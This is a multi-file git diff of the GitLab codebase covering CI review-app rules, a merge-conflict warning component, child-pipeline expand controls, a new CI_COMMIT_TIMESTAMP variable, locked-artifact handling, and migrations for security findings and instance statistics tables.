diff options
83 files changed, 1247 insertions, 496 deletions
diff --git a/.gitlab/ci/review.gitlab-ci.yml b/.gitlab/ci/review.gitlab-ci.yml index e2fe5f467f8..d34687cfdad 100644 --- a/.gitlab/ci/review.gitlab-ci.yml +++ b/.gitlab/ci/review.gitlab-ci.yml @@ -45,7 +45,7 @@ review-build-cng: DOMAIN: "-${CI_ENVIRONMENT_SLUG}.${REVIEW_APPS_DOMAIN}" GITLAB_HELM_CHART_REF: "v4.3.0" environment: - name: review/${CI_COMMIT_REF_NAME} + name: review/${CI_COMMIT_REF_SLUG}${FREQUENCY} url: https://gitlab-${CI_ENVIRONMENT_SLUG}.${REVIEW_APPS_DOMAIN} on_stop: review-stop auto_stop_in: 48 hours @@ -113,8 +113,8 @@ review-stop-failed-deployment: review-stop: extends: - .review-stop-base - - .review:rules:mr-only-manual - stage: review + - .review:rules:review-stop + stage: post-qa script: - delete_release diff --git a/.gitlab/ci/rules.gitlab-ci.yml b/.gitlab/ci/rules.gitlab-ci.yml index 71cfa856032..47a1e8341b7 100644 --- a/.gitlab/ci/rules.gitlab-ci.yml +++ b/.gitlab/ci/rules.gitlab-ci.yml @@ -753,6 +753,17 @@ - <<: *if-dot-com-gitlab-org-schedule allow_failure: true +.review:rules:review-stop: + rules: + - <<: *if-not-ee + when: never + - <<: *if-dot-com-gitlab-org-merge-request + changes: *code-qa-patterns + when: manual + allow_failure: true + - <<: *if-master-refs + allow_failure: true + .review:rules:danger: rules: - if: '$DANGER_GITLAB_API_TOKEN && $CI_MERGE_REQUEST_IID' diff --git a/GITALY_SERVER_VERSION b/GITALY_SERVER_VERSION index 71ea80cf54f..efde50ac13a 100644 --- a/GITALY_SERVER_VERSION +++ b/GITALY_SERVER_VERSION @@ -1 +1 @@ -851da3925944b969da7f87057ba8da8274d5c18d +15c2f3921c4729e9c4d7ce8592300decfcfdb2e6 diff --git a/app/assets/javascripts/diffs/components/app.vue b/app/assets/javascripts/diffs/components/app.vue index 4ba9c29f9a9..207f39340f7 100644 --- a/app/assets/javascripts/diffs/components/app.vue +++ b/app/assets/javascripts/diffs/components/app.vue @@ -1,6 +1,6 @@ <script> import { mapState, mapGetters, mapActions } from 'vuex'; -import { GlLoadingIcon, GlButton, GlAlert, GlPagination, GlSprintf } from '@gitlab/ui'; +import { GlLoadingIcon, GlPagination, GlSprintf } from '@gitlab/ui'; import Mousetrap from 'mousetrap'; import { __ } from '~/locale'; import { getParameterByName, parseBoolean } from '~/lib/utils/common_utils'; @@ -13,9 +13,12 @@ import eventHub from '../../notes/event_hub'; import CompareVersions from './compare_versions.vue'; import DiffFile from './diff_file.vue'; import NoChanges from './no_changes.vue'; -import HiddenFilesWarning from './hidden_files_warning.vue'; import CommitWidget from './commit_widget.vue'; import TreeList from './tree_list.vue'; + +import HiddenFilesWarning from './hidden_files_warning.vue'; +import MergeConflictWarning from './merge_conflict_warning.vue'; + import { TREE_LIST_WIDTH_STORAGE_KEY, INITIAL_TREE_WIDTH, @@ -33,13 +36,12 @@ export default { DiffFile, NoChanges, HiddenFilesWarning, + MergeConflictWarning, CommitWidget, TreeList, GlLoadingIcon, PanelResizer, GlPagination, - GlButton, - GlAlert, GlSprintf, }, mixins: [glFeatureFlagsMixin()], @@ -422,49 +424,12 @@ export default { :plain-diff-path="plainDiffPath" :email-patch-path="emailPatchPath" /> - - <div + <merge-conflict-warning v-if="isDiffHead && hasConflicts" - :class="{ - [CENTERED_LIMITED_CONTAINER_CLASSES]: isLimitedContainer, - }" - > - <gl-alert - :dismissible="false" - :title="__('There are merge conflicts')" - variant="warning" - class="w-100 mb-3" - > - <p class="mb-1"> - {{ __('The comparison view may be inaccurate due to merge conflicts.') }} - </p> - <p class="mb-0"> - {{ - __( - 'Resolve these conflicts or ask someone with write access to this repository to merge it locally.', - ) - }} - </p> - <template #actions> - <gl-button - v-if="conflictResolutionPath" - :href="conflictResolutionPath" - variant="info" - class="mr-3 gl-alert-action" - > - {{ __('Resolve conflicts') }} - </gl-button> - <gl-button - v-if="canMerge" - class="gl-alert-action" - data-toggle="modal" - data-target="#modal_merge_info" - > - {{ __('Merge locally') }} - </gl-button> - </template> - </gl-alert> - </div> + :limited="isLimitedContainer" + :resolution-path="conflictResolutionPath" + :mergeable="canMerge" + /> <div :data-can-create-note="getNoteableData.current_user.can_create_note" diff --git a/app/assets/javascripts/diffs/components/diff_file.vue b/app/assets/javascripts/diffs/components/diff_file.vue index 7cab55118ad..4a68fbb20d0 100644 --- a/app/assets/javascripts/diffs/components/diff_file.vue +++ b/app/assets/javascripts/diffs/components/diff_file.vue @@ -94,11 +94,7 @@ export default { }, 'file.file_hash': { handler: function watchFileHash() { - if ( - this.glFeatures.autoExpandCollapsedDiffs && - this.viewDiffsFileByFile && - this.file.viewer.collapsed - ) { + if (this.viewDiffsFileByFile && this.file.viewer.collapsed) { this.isCollapsed = false; this.handleLoadCollapsedDiff(); } else { @@ -108,7 +104,7 @@ export default { immediate: true, }, 'file.viewer.collapsed': function setIsCollapsed(newVal) { - if (!this.viewDiffsFileByFile && !this.glFeatures.autoExpandCollapsedDiffs) { + if (!this.viewDiffsFileByFile) { this.isCollapsed = newVal; } }, diff --git a/app/assets/javascripts/diffs/components/merge_conflict_warning.vue b/app/assets/javascripts/diffs/components/merge_conflict_warning.vue new file mode 100644 index 00000000000..e47bea8e589 --- /dev/null +++ b/app/assets/javascripts/diffs/components/merge_conflict_warning.vue @@ -0,0 +1,72 @@ +<script> +import { GlButton, GlAlert } from '@gitlab/ui'; +import { CENTERED_LIMITED_CONTAINER_CLASSES } from '../constants'; + +export default { + components: { + GlAlert, + GlButton, + }, + props: { + limited: { + type: Boolean, + required: true, + }, + mergeable: { + type: Boolean, + required: true, + }, + resolutionPath: { + type: String, + required: true, + }, + }, + computed: { + containerClasses() { + return { + [CENTERED_LIMITED_CONTAINER_CLASSES]: this.limited, + }; + }, + }, +}; +</script> + +<template> + <div :class="containerClasses"> + <gl-alert + :dismissible="false" + :title="__('There are merge conflicts')" + variant="warning" + class="gl-mb-5" + > + <p class="gl-mb-2"> + {{ __('The comparison view may be inaccurate due to merge conflicts.') }} + </p> + <p class="gl-mb-0"> + {{ + __( + 'Resolve these conflicts or ask someone with write access to this repository to merge it locally.', + ) + }} + </p> + <template #actions> + <gl-button + v-if="resolutionPath" + :href="resolutionPath" + variant="info" + class="gl-mr-5 gl-alert-action" + > + {{ __('Resolve conflicts') }} + </gl-button> + <gl-button + v-if="mergeable" + class="gl-alert-action" + data-toggle="modal" + data-target="#modal_merge_info" + > + {{ __('Merge locally') }} + </gl-button> + </template> + </gl-alert> + </div> +</template> diff --git a/app/assets/javascripts/pipelines/components/graph/graph_component.vue b/app/assets/javascripts/pipelines/components/graph/graph_component.vue index f5bf6a6ed34..924cdeebba1 100644 --- a/app/assets/javascripts/pipelines/components/graph/graph_component.vue +++ b/app/assets/javascripts/pipelines/components/graph/graph_component.vue @@ -44,6 +44,10 @@ export default { return { downstreamMarginTop: null, jobName: null, + pipelineExpanded: { + jobName: '', + expanded: false, + }, }; }, computed: { @@ -120,6 +124,19 @@ export default { setJob(jobName) { this.jobName = jobName; }, + setPipelineExpanded(jobName, expanded) { + if (expanded) { + this.pipelineExpanded = { + jobName, + expanded, + }; + } else { + this.pipelineExpanded = { + expanded, + jobName: '', + }; + } + }, }, }; </script> @@ -181,6 +198,7 @@ export default { :has-triggered-by="hasTriggeredBy" :action="stage.status.action" :job-hovered="jobName" + :pipeline-expanded="pipelineExpanded" @refreshPipelineGraph="refreshPipelineGraph" /> </ul> @@ -193,6 +211,7 @@ export default { graph-position="right" @linkedPipelineClick="handleClickedDownstream" @downstreamHovered="setJob" + @pipelineExpandToggle="setPipelineExpanded" /> <pipeline-graph diff --git a/app/assets/javascripts/pipelines/components/graph/job_item.vue b/app/assets/javascripts/pipelines/components/graph/job_item.vue index 4d72cc55b34..b04dd967d80 100644 --- a/app/assets/javascripts/pipelines/components/graph/job_item.vue +++ b/app/assets/javascripts/pipelines/components/graph/job_item.vue @@ -31,7 +31,7 @@ import delayedJobMixin from '~/jobs/mixins/delayed_job_mixin'; */ export default { - hoverClass: 'gl-inset-border-1-blue-500', + hoverClass: 'gl-shadow-x0-y0-b3-s1-blue-500', components: { ActionComponent, JobNameComponent, @@ -61,6 +61,11 @@ export default { required: false, default: '', }, + pipelineExpanded: { + type: Object, + required: false, + default: () => ({}), + }, }, computed: { boundary() { @@ -101,8 +106,14 @@ export default { hasAction() { return this.job.status && this.job.status.action && this.job.status.action.path; }, + relatedDownstreamHovered() { + return this.job.name === this.jobHovered; + }, + relatedDownstreamExpanded() { + return this.job.name === this.pipelineExpanded.jobName && this.pipelineExpanded.expanded; + }, jobClasses() { - return this.job.name === this.jobHovered + return this.relatedDownstreamHovered || this.relatedDownstreamExpanded ? `${this.$options.hoverClass} ${this.cssClassJobName}` : this.cssClassJobName; }, diff --git a/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue b/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue index f0a8f9f7ab7..24c9d264239 100644 --- a/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue +++ b/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue @@ -1,5 +1,5 @@ <script> -import { GlTooltipDirective, GlButton } from '@gitlab/ui'; +import { GlTooltipDirective, GlButton, GlLink, GlLoadingIcon } from '@gitlab/ui'; import CiStatus from '~/vue_shared/components/ci_icon.vue'; import { __, sprintf } from '~/locale'; @@ -10,6 +10,8 @@ export default { components: { CiStatus, GlButton, + GlLink, + GlLoadingIcon, }, props: { pipeline: { @@ -25,6 +27,11 @@ export default { required: true, }, }, + data() { + return { + expanded: false, + }; + }, computed: { tooltipText() { return `${this.downstreamTitle} #${this.pipeline.id} - ${this.pipelineStatus.label} @@ -66,11 +73,22 @@ export default { ? sprintf(__('Created by %{job}'), { job: this.pipeline.source_job.name }) : ''; }, + expandedIcon() { + if (this.parentPipeline) { + return this.expanded ? 'angle-right' : 'angle-left'; + } + return this.expanded ? 'angle-left' : 'angle-right'; + }, + expandButtonPosition() { + return this.parentPipeline ? 'gl-left-0 gl-border-r-1!' : 'gl-right-0 gl-border-l-1!'; + }, }, methods: { onClickLinkedPipeline() { this.$root.$emit('bv::hide::tooltip', this.buttonId); + this.expanded = !this.expanded; this.$emit('pipelineClicked', this.$refs.linkedPipeline); + this.$emit('pipelineExpandToggle', this.pipeline.source_job.name, this.expanded); }, hideTooltips() { this.$root.$emit('bv::hide::tooltip'); @@ -88,27 +106,53 @@ export default { <template> <li ref="linkedPipeline" + v-gl-tooltip class="linked-pipeline build" + :title="tooltipText" :class="{ 'downstream-pipeline': isDownstream }" data-qa-selector="child_pipeline" @mouseover="onDownstreamHovered" @mouseleave="onDownstreamHoverLeave" > - <gl-button - :id="buttonId" - v-gl-tooltip - :title="tooltipText" - class="linked-pipeline-content" - data-qa-selector="linked_pipeline_button" - :class="`js-pipeline-expand-${pipeline.id}`" - :loading="pipeline.isLoading" - @click="onClickLinkedPipeline" + <div + class="gl-relative gl-bg-white gl-p-3 gl-border-solid gl-border-gray-100 gl-border-1" + :class="{ 'gl-pl-9': parentPipeline }" > - <ci-status v-if="!pipeline.isLoading" :status="pipelineStatus" css-classes="gl-top-0" /> - <span class="str-truncated"> {{ downstreamTitle }} • #{{ pipeline.id }} </span> + <div class="gl-display-flex"> + <ci-status + v-if="!pipeline.isLoading" + :status="pipelineStatus" + css-classes="gl-top-0 gl-pr-2" + /> + <div v-else class="gl-pr-2"><gl-loading-icon inline /></div> + <div class="gl-display-flex gl-flex-direction-column gl-w-13"> + <span class="gl-text-truncate"> + {{ downstreamTitle }} + </span> + <div class="gl-text-truncate"> + <gl-link + v-if="childPipeline" + class="gl-text-blue-500!" + :href="pipeline.path" + data-testid="childPipelineLink" + >#{{ pipeline.id }}</gl-link + > + <span v-else>#{{ pipeline.id }}</span> + </div> + </div> + </div> <div class="gl-pt-2"> <span class="badge badge-primary" data-testid="downstream-pipeline-label">{{ label }}</span> </div> - </gl-button> + <gl-button + :id="buttonId" + class="gl-absolute gl-top-0 gl-bottom-0 gl-shadow-none! gl-rounded-0!" + :class="`js-pipeline-expand-${pipeline.id} ${expandButtonPosition}`" + :icon="expandedIcon" + data-testid="expandPipelineButton" + data-qa-selector="linked_pipeline_button" + @click="onClickLinkedPipeline" + /> + </div> </li> </template> diff --git a/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue b/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue index d82885ff8de..3ad28d88345 100644 --- a/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue +++ b/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue @@ -44,6 +44,9 @@ export default { onDownstreamHovered(jobName) { this.$emit('downstreamHovered', jobName); }, + onPipelineExpandToggle(jobName, expanded) { + this.$emit('pipelineExpandToggle', jobName, expanded); + }, }, }; </script> @@ -65,6 +68,7 @@ export default { :project-id="projectId" @pipelineClicked="onPipelineClick($event, pipeline, index)" @downstreamHovered="onDownstreamHovered" + @pipelineExpandToggle="onPipelineExpandToggle" /> </ul> </div> diff --git a/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue b/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue index 9de6ba819c2..1453c349f44 100644 --- a/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue +++ b/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue @@ -41,6 +41,11 @@ export default { required: false, default: '', }, + pipelineExpanded: { + type: Object, + required: false, + default: () => ({}), + }, }, computed: { hasAction() { @@ -86,6 +91,7 @@ export default { v-if="group.size === 1" :job="group.jobs[0]" :job-hovered="jobHovered" + :pipeline-expanded="pipelineExpanded" css-class-job-name="build-content" @pipelineActionRequestComplete="pipelineActionRequestComplete" /> diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_suggest_pipeline.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_suggest_pipeline.vue index 936fdc9aff5..a9d148505e1 100644 --- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_suggest_pipeline.vue +++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_suggest_pipeline.vue @@ -108,7 +108,9 @@ export default { </div> </template> <div class="row"> - <div class="col-md-5 order-md-last col-12 gl-mt-5 mt-md-n1 pt-md-1 svg-content svg-225"> + <div + class="col-md-5 order-md-last col-12 gl-mt-5 gl-mt-md-n2! gl-pt-md-2 svg-content svg-225" + > <img data-testid="pipeline-image" :src="pipelineSvgPath" /> </div> <div class="col-md-7 order-md-first col-12"> diff --git a/app/assets/stylesheets/utilities.scss b/app/assets/stylesheets/utilities.scss index 99a13cc4e44..6758429b78f 100644 --- a/app/assets/stylesheets/utilities.scss +++ b/app/assets/stylesheets/utilities.scss @@ -119,3 +119,7 @@ width: auto !important; } } + +.gl-shadow-x0-y0-b3-s1-blue-500 { + box-shadow: inset 0 0 3px $gl-border-size-1 $blue-500; +} diff --git a/app/controllers/projects/merge_requests_controller.rb b/app/controllers/projects/merge_requests_controller.rb index bf5b1d5d92d..35f79f721f5 100644 --- a/app/controllers/projects/merge_requests_controller.rb +++ b/app/controllers/projects/merge_requests_controller.rb @@ -34,7 +34,6 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo push_frontend_feature_flag(:multiline_comments, @project, default_enabled: true) push_frontend_feature_flag(:file_identifier_hash) push_frontend_feature_flag(:batch_suggestions, @project, default_enabled: true) - push_frontend_feature_flag(:auto_expand_collapsed_diffs, @project, default_enabled: true) push_frontend_feature_flag(:approvals_commented_by, @project, default_enabled: true) push_frontend_feature_flag(:hide_jump_to_next_unresolved_in_threads, default_enabled: true) push_frontend_feature_flag(:merge_request_widget_graphql, @project) diff --git a/app/models/analytics/instance_statistics.rb b/app/models/analytics/instance_statistics.rb new file mode 100644 index 00000000000..df7b26e4fa6 --- /dev/null +++ b/app/models/analytics/instance_statistics.rb @@ -0,0 +1,9 @@ +# frozen_string_literal: true + +module Analytics + module InstanceStatistics + def self.table_name_prefix + 'analytics_instance_statistics_' + end + end +end diff --git a/app/models/analytics/instance_statistics/measurement.rb b/app/models/analytics/instance_statistics/measurement.rb new file mode 100644 index 00000000000..162f2b461ed --- /dev/null +++ b/app/models/analytics/instance_statistics/measurement.rb @@ -0,0 +1,12 @@ +# frozen_string_literal: true + +module Analytics + module InstanceStatistics + class Measurement < ApplicationRecord + enum identifier: { projects: 1, users: 2 } + + validates :recorded_at, :identifier, :count, presence: true + validates :recorded_at, uniqueness: { scope: :identifier } + end + end +end diff --git a/app/models/ci/build.rb b/app/models/ci/build.rb index af4e6bb0494..3e35641ff56 100644 --- a/app/models/ci/build.rb +++ b/app/models/ci/build.rb @@ -647,6 +647,10 @@ module Ci !artifacts_expired? && artifacts_file&.exists? end + def locked_artifacts? + pipeline.artifacts_locked? && artifacts_file&.exists? + end + # This method is similar to #artifacts? but it includes the artifacts # locking mechanics. A new method was created to prevent breaking existing # behavior and avoid introducing N+1s. diff --git a/app/models/ci/pipeline.rb b/app/models/ci/pipeline.rb index 549b831b3bb..9b304571999 100644 --- a/app/models/ci/pipeline.rb +++ b/app/models/ci/pipeline.rb @@ -491,6 +491,12 @@ module Ci end end + def git_commit_timestamp + strong_memoize(:git_commit_timestamp) do + commit.try(:timestamp) + end + end + def before_sha super || Gitlab::Git::BLANK_SHA end @@ -768,6 +774,7 @@ module Ci variables.append(key: 'CI_COMMIT_TITLE', value: git_commit_full_title.to_s) variables.append(key: 'CI_COMMIT_DESCRIPTION', value: git_commit_description.to_s) variables.append(key: 'CI_COMMIT_REF_PROTECTED', value: (!!protected_ref?).to_s) + variables.append(key: 'CI_COMMIT_TIMESTAMP', value: git_commit_timestamp.to_s) # legacy variables variables.append(key: 'CI_BUILD_REF', value: sha) @@ -860,6 +867,10 @@ module Ci builds.latest.with_reports(reports_scope) end + def builds_with_coverage + builds.with_coverage + end + def has_reports?(reports_scope) complete? && latest_report_builds(reports_scope).exists? end diff --git a/app/models/commit.rb b/app/models/commit.rb index 4f18ece9e50..5e0fceb23a4 100644 --- a/app/models/commit.rb +++ b/app/models/commit.rb @@ -221,12 +221,16 @@ class Commit description.present? end + def timestamp + committed_date.xmlschema + end + def hook_attrs(with_changed_files: false) data = { id: id, message: safe_message, title: title, - timestamp: committed_date.xmlschema, + timestamp: timestamp, url: Gitlab::UrlBuilder.build(self), author: { name: author_name, diff --git a/app/models/merge_request.rb b/app/models/merge_request.rb index 9588c678a3a..fd73b0d1e04 100644 --- a/app/models/merge_request.rb +++ b/app/models/merge_request.rb @@ -295,7 +295,7 @@ class MergeRequest < ApplicationRecord alias_attribute :auto_merge_enabled, :merge_when_pipeline_succeeds alias_method :issuing_parent, :target_project - delegate :active?, to: :head_pipeline, prefix: true, allow_nil: true + delegate :active?, :builds_with_coverage, to: :head_pipeline, prefix: true, allow_nil: true delegate :success?, :active?, to: :actual_head_pipeline, prefix: true, allow_nil: true RebaseLockTimeout = Class.new(StandardError) diff --git a/app/serializers/build_coverage_entity.rb b/app/serializers/build_coverage_entity.rb new file mode 100644 index 00000000000..47e0c30ba1e --- /dev/null +++ b/app/serializers/build_coverage_entity.rb @@ -0,0 +1,5 @@ +# frozen_string_literal: true + +class BuildCoverageEntity < Grape::Entity + expose :name, :coverage +end diff --git a/app/serializers/build_details_entity.rb b/app/serializers/build_details_entity.rb index 523f1a0f8c6..2b8522539b4 100644 --- a/app/serializers/build_details_entity.rb +++ b/app/serializers/build_details_entity.rb @@ -27,15 +27,15 @@ class BuildDetailsEntity < JobEntity end expose :artifact, if: -> (*) { can?(current_user, :read_build, build) } do - expose :download_path, if: -> (*) { build.pipeline.artifacts_locked? || build.artifacts? } do |build| + expose :download_path, if: -> (*) { build.locked_artifacts? || build.artifacts? } do |build| download_project_job_artifacts_path(project, build) end - expose :browse_path, if: -> (*) { build.pipeline.artifacts_locked? || build.browsable_artifacts? } do |build| + expose :browse_path, if: -> (*) { build.locked_artifacts? || build.browsable_artifacts? } do |build| browse_project_job_artifacts_path(project, build) end - expose :keep_path, if: -> (*) { build.has_expiring_archive_artifacts? && can?(current_user, :update_build, build) } do |build| + expose :keep_path, if: -> (*) { (build.locked_artifacts? || build.has_expiring_archive_artifacts?) && can?(current_user, :update_build, build) } do |build| keep_project_job_artifacts_path(project, build) end diff --git a/app/serializers/merge_request_poll_widget_entity.rb b/app/serializers/merge_request_poll_widget_entity.rb index 99d6211b487..41ab5005091 100644 --- a/app/serializers/merge_request_poll_widget_entity.rb +++ b/app/serializers/merge_request_poll_widget_entity.rb @@ -73,6 +73,8 @@ class MergeRequestPollWidgetEntity < Grape::Entity presenter(merge_request).pipeline_coverage_delta end + expose :head_pipeline_builds_with_coverage, as: :builds_with_coverage, using: BuildCoverageEntity + expose :cancel_auto_merge_path do |merge_request| presenter(merge_request).cancel_auto_merge_path end diff --git a/app/views/shared/_outdated_browser.html.haml b/app/views/shared/_outdated_browser.html.haml index 624cc99440c..f5a32050a79 100644 --- a/app/views/shared/_outdated_browser.html.haml +++ b/app/views/shared/_outdated_browser.html.haml @@ -2,14 +2,7 @@ .gl-alert.gl-alert-danger.outdated-browser{ :role => "alert" } = sprite_icon('error', css_class: "gl-alert-icon gl-alert-icon-no-title gl-icon") .gl-alert-body - - if browser.ie? && browser.version.to_i == 11 - - feedback_link_url = 'https://gitlab.com/gitlab-org/gitlab/issues/197987' - - feedback_link_start = '<a href="%{url}" class="gl-link" target="_blank" rel="noopener noreferrer">'.html_safe % { url: feedback_link_url } - = s_('OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11.') - %br - = s_('OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels.').html_safe % { feedback_link_start: feedback_link_start, feedback_link_end: '</a>'.html_safe } - - else - = s_('OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser.') + = s_('OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser.') %br - browser_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: help_page_path('install/requirements', anchor: 'supported-web-browsers') } = s_('OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience.').html_safe % { browser_link_start: browser_link_start, browser_link_end: '</a>'.html_safe } diff --git a/changelogs/unreleased/238156_create_scan_findings_entity.yml b/changelogs/unreleased/238156_create_scan_findings_entity.yml new file mode 100644 index 00000000000..6fe9d6df13d --- /dev/null +++ b/changelogs/unreleased/238156_create_scan_findings_entity.yml @@ -0,0 +1,5 @@ +--- +title: Create `security_findings` table +merge_request: 40368 +author: +type: added diff --git a/changelogs/unreleased/241673-model-for-storing-instance-level-statistics.yml b/changelogs/unreleased/241673-model-for-storing-instance-level-statistics.yml new file mode 100644 index 00000000000..fcf9d603c56 --- /dev/null +++ b/changelogs/unreleased/241673-model-for-storing-instance-level-statistics.yml @@ -0,0 +1,5 @@ +--- +title: Create table for storing Instance Statistics object counts +merge_request: 40605 +author: +type: added diff --git a/changelogs/unreleased/34281-add-ci-variable-commit-timestamp.yml b/changelogs/unreleased/34281-add-ci-variable-commit-timestamp.yml new file mode 100644 index 00000000000..dc78900de6e --- /dev/null +++ b/changelogs/unreleased/34281-add-ci-variable-commit-timestamp.yml @@ -0,0 +1,5 @@ +--- +title: Add CI_COMMIT_TIMESTAMP CI variable +merge_request: 40388 +author: Nasko Vasilev +type: added diff --git a/changelogs/unreleased/defect-expand-all-files-does-nothing.yml b/changelogs/unreleased/defect-expand-all-files-does-nothing.yml new file mode 100644 index 00000000000..d67f6a38ecb --- /dev/null +++ b/changelogs/unreleased/defect-expand-all-files-does-nothing.yml @@ -0,0 +1,5 @@ +--- +title: Fix issue causing 'Expand All' button to not work in MR diffs view (Remove `autoExpandCollapsedDiffs` feature flag) +merge_request: 40960 +author: +type: fixed diff --git a/changelogs/unreleased/eb-mr-widget-builds-coverages.yml b/changelogs/unreleased/eb-mr-widget-builds-coverages.yml new file mode 100644 index 00000000000..2f20e3a0193 --- /dev/null +++ b/changelogs/unreleased/eb-mr-widget-builds-coverages.yml @@ -0,0 +1,5 @@ +--- +title: Return builds with coverage in MR widget JSON response +merge_request: 40533 +author: +type: added diff --git a/changelogs/unreleased/mc-feature-show-keep-button-for-locked-artifacts.yml b/changelogs/unreleased/mc-feature-show-keep-button-for-locked-artifacts.yml new file mode 100644 index 00000000000..fb0ca679d33 --- /dev/null +++ b/changelogs/unreleased/mc-feature-show-keep-button-for-locked-artifacts.yml @@ -0,0 +1,5 @@ +--- +title: Show keep button for locked artifacts. +merge_request: 40962 +author: +type: changed diff --git a/changelogs/unreleased/parent-child-pipelines-navigation.yml b/changelogs/unreleased/parent-child-pipelines-navigation.yml new file mode 100644 index 00000000000..6c4a0fa3a68 --- /dev/null +++ b/changelogs/unreleased/parent-child-pipelines-navigation.yml @@ -0,0 +1,5 @@ +--- +title: Improve ability to navigate to child pipelines +merge_request: 40650 +author: +type: added diff --git a/changelogs/unreleased/vij-fix-project-snippet-param.yml b/changelogs/unreleased/vij-fix-project-snippet-param.yml new file mode 100644 index 00000000000..20060a92af1 --- /dev/null +++ b/changelogs/unreleased/vij-fix-project-snippet-param.yml @@ -0,0 +1,5 @@ +--- +title: Fix visibility param for ProjectSnippet REST endpoint +merge_request: 40966 +author: +type: fixed diff --git a/db/fixtures/development/29_instance_statistics.rb b/db/fixtures/development/29_instance_statistics.rb new file mode 100644 index 00000000000..c4af13d0f4d --- /dev/null +++ b/db/fixtures/development/29_instance_statistics.rb @@ -0,0 +1,25 @@ +# frozen_string_literal: true + +require './spec/support/sidekiq_middleware' + +Gitlab::Seeder.quiet do + model_class = Analytics::InstanceStatistics::Measurement + recorded_at = Date.today + + # Insert random counts for the last 10 weeks + measurements = 10.times.flat_map do + recorded_at = (recorded_at - 1.week).end_of_week.end_of_day - 5.minutes + + model_class.identifiers.map do |_, id| + { + recorded_at: recorded_at, + count: rand(1_000_000), + identifier: id + } + end + end + + model_class.upsert_all(measurements, unique_by: [:identifier, :recorded_at]) + + print '.' +end diff --git a/db/migrate/20200825084819_create_security_findings_table.rb b/db/migrate/20200825084819_create_security_findings_table.rb new file mode 100644 index 00000000000..d44b4671e2f --- /dev/null +++ b/db/migrate/20200825084819_create_security_findings_table.rb @@ -0,0 +1,27 @@ +# frozen_string_literal: true + +class CreateSecurityFindingsTable < ActiveRecord::Migration[6.0] + include Gitlab::Database::MigrationHelpers + + DOWNTIME = false + + disable_ddl_transaction! + + def up + unless table_exists?(:security_findings) + create_table :security_findings do |t| + t.references :scan, null: false + t.references :scanner, null: false + t.integer :severity, limit: 2, index: true, null: false + t.integer :confidence, limit: 2, index: true, null: false + t.text :project_fingerprint, index: true, null: false + end + end + + add_text_limit :security_findings, :project_fingerprint, 40 + end + + def down + drop_table :security_findings + end +end diff --git a/db/migrate/20200827114902_create_analytics_instance_statistics_measurements.rb b/db/migrate/20200827114902_create_analytics_instance_statistics_measurements.rb new file mode 100644 index 00000000000..f8584d4b9f6 --- /dev/null +++ b/db/migrate/20200827114902_create_analytics_instance_statistics_measurements.rb @@ -0,0 +1,16 @@ +# frozen_string_literal: true + +class CreateAnalyticsInstanceStatisticsMeasurements < ActiveRecord::Migration[6.0] + DOWNTIME = false + UNIQUE_INDEX_NAME = 'index_on_instance_statistics_recorded_at_and_identifier' + + def change + create_table :analytics_instance_statistics_measurements do |t| + t.bigint :count, null: false + t.datetime_with_timezone :recorded_at, null: false + t.integer :identifier, limit: 2, null: false + end + + add_index :analytics_instance_statistics_measurements, [:identifier, :recorded_at], unique: true, name: UNIQUE_INDEX_NAME + end +end diff --git a/db/migrate/20200828155134_add_foreign_key_on_scan_id_to_security_scans.rb b/db/migrate/20200828155134_add_foreign_key_on_scan_id_to_security_scans.rb new file mode 100644 index 00000000000..612bd79a282 --- /dev/null +++ b/db/migrate/20200828155134_add_foreign_key_on_scan_id_to_security_scans.rb @@ -0,0 +1,19 @@ +# frozen_string_literal: true + +class AddForeignKeyOnScanIdToSecurityScans < ActiveRecord::Migration[6.0] + include Gitlab::Database::MigrationHelpers + + DOWNTIME = false + + def up + with_lock_retries do + add_foreign_key :security_findings, :security_scans, column: :scan_id, on_delete: :cascade # rubocop:disable Migration/AddConcurrentForeignKey + end + end + + def down + with_lock_retries do + remove_foreign_key :security_findings, column: :scan_id + end + end +end diff --git a/db/migrate/20200828155205_add_foreign_key_on_scanner_id_to_vulnerability_scanners.rb b/db/migrate/20200828155205_add_foreign_key_on_scanner_id_to_vulnerability_scanners.rb new file mode 100644 index 00000000000..eb3e878c8be --- /dev/null +++ b/db/migrate/20200828155205_add_foreign_key_on_scanner_id_to_vulnerability_scanners.rb @@ -0,0 +1,19 @@ +# frozen_string_literal: true + +class AddForeignKeyOnScannerIdToVulnerabilityScanners < ActiveRecord::Migration[6.0] + include Gitlab::Database::MigrationHelpers + + DOWNTIME = false + + def up + with_lock_retries do + add_foreign_key :security_findings, :vulnerability_scanners, column: :scanner_id, on_delete: :cascade # rubocop:disable Migration/AddConcurrentForeignKey + end + end + + def down + with_lock_retries do + remove_foreign_key :security_findings, column: :scanner_id + end + end +end diff --git a/db/schema_migrations/20200825084819 b/db/schema_migrations/20200825084819 new file mode 100644 index 00000000000..0ce9dbf863c --- /dev/null +++ b/db/schema_migrations/20200825084819 @@ -0,0 +1 @@ +d5e81848257b3391d99b198b177531a4c190ca6f19b27c9aedaa931f6eb3165a
